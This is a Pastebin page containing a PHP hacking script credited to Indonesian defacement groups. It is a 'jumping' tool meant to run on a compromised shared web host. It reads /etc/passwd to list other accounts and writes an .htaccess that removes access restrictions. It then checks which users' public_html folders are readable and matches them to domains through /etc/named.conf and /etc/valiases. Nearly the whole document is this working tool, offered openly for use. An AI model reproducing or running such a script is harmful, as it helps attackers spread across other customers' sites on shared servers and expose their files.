Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- <?php
- /* Recoded by AZZATSSINS CYBERSERKERS | Coded by Tu5b0l3d
- | thx to: IndoXPloit
- | just jumping + domain
- */
- error_reporting(0);
- echo '<title>READ ANOTHER USERS DIR | JUMPING | AZZATSSINS</title><body bgcolor=silver><center><h2>Just View Directory Another User, Readable or Not</h2><br><hr><br>List of Readable<br><hr><br></center><table align="center" border="3" width="400" cellspacing="0" cellpadding="0">
- <td align="center"> <font color="violet"> <b>USERS PATH</b></td>
- <td align="center"> <font color="violet"> <b>DOMAINS</b></td>
- ';
- //$us = file_get_contents("/etc/passwd");
- $usa = fopen('/etc/passwd','r');
- $dir = mkdir('jump', 0777);
- $rrrr = "Options all \n DirectoryIndex jump \n Require None \n Satisfy Any";
- $frr = fopen('jump/.htaccess', 'w');
- fwrite($frr, $rrrr);
- while($us = fgets($usa)){
- if($us==""){
- echo "<font color=red><b>Can't read /etc/passwd</b></font><br><br>";
- }
- else{
- preg_match_all('/(.*?):x:/', $us, $user_byk);
- foreach($user_byk[1] as $user){
- $dir1 = "/home/$user/public_html/";
- if(is_readable($dir1)){
- echo "<tr>
- <td><i><font color=green>$dir1</font></i></td>";
- $domainns = file_get_contents("/etc/named.conf");
- if($domainns==""){
- echo "<font color=red><b>Can't read /etc/named.conf</b></font><br><br>";
- }
- else{
- preg_match_all("#/var/named/(.*?).db#", $domainns, $domains);
- foreach($domains[1] as $domain){
- $user2 = posix_getpwuid(@fileowner("/etc/valiases/$domain"));
- $user2 = $user2['name'];
- if ($user2=="$user"){
- echo "<td><a class='azzatssins' href='http://".$domain." '><font color=lime>".$domain."</font></td>";
- break;
- }
- }
- }
- }
- else{
- }
- }
- }
- }
- echo "</tr></table>";
- ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement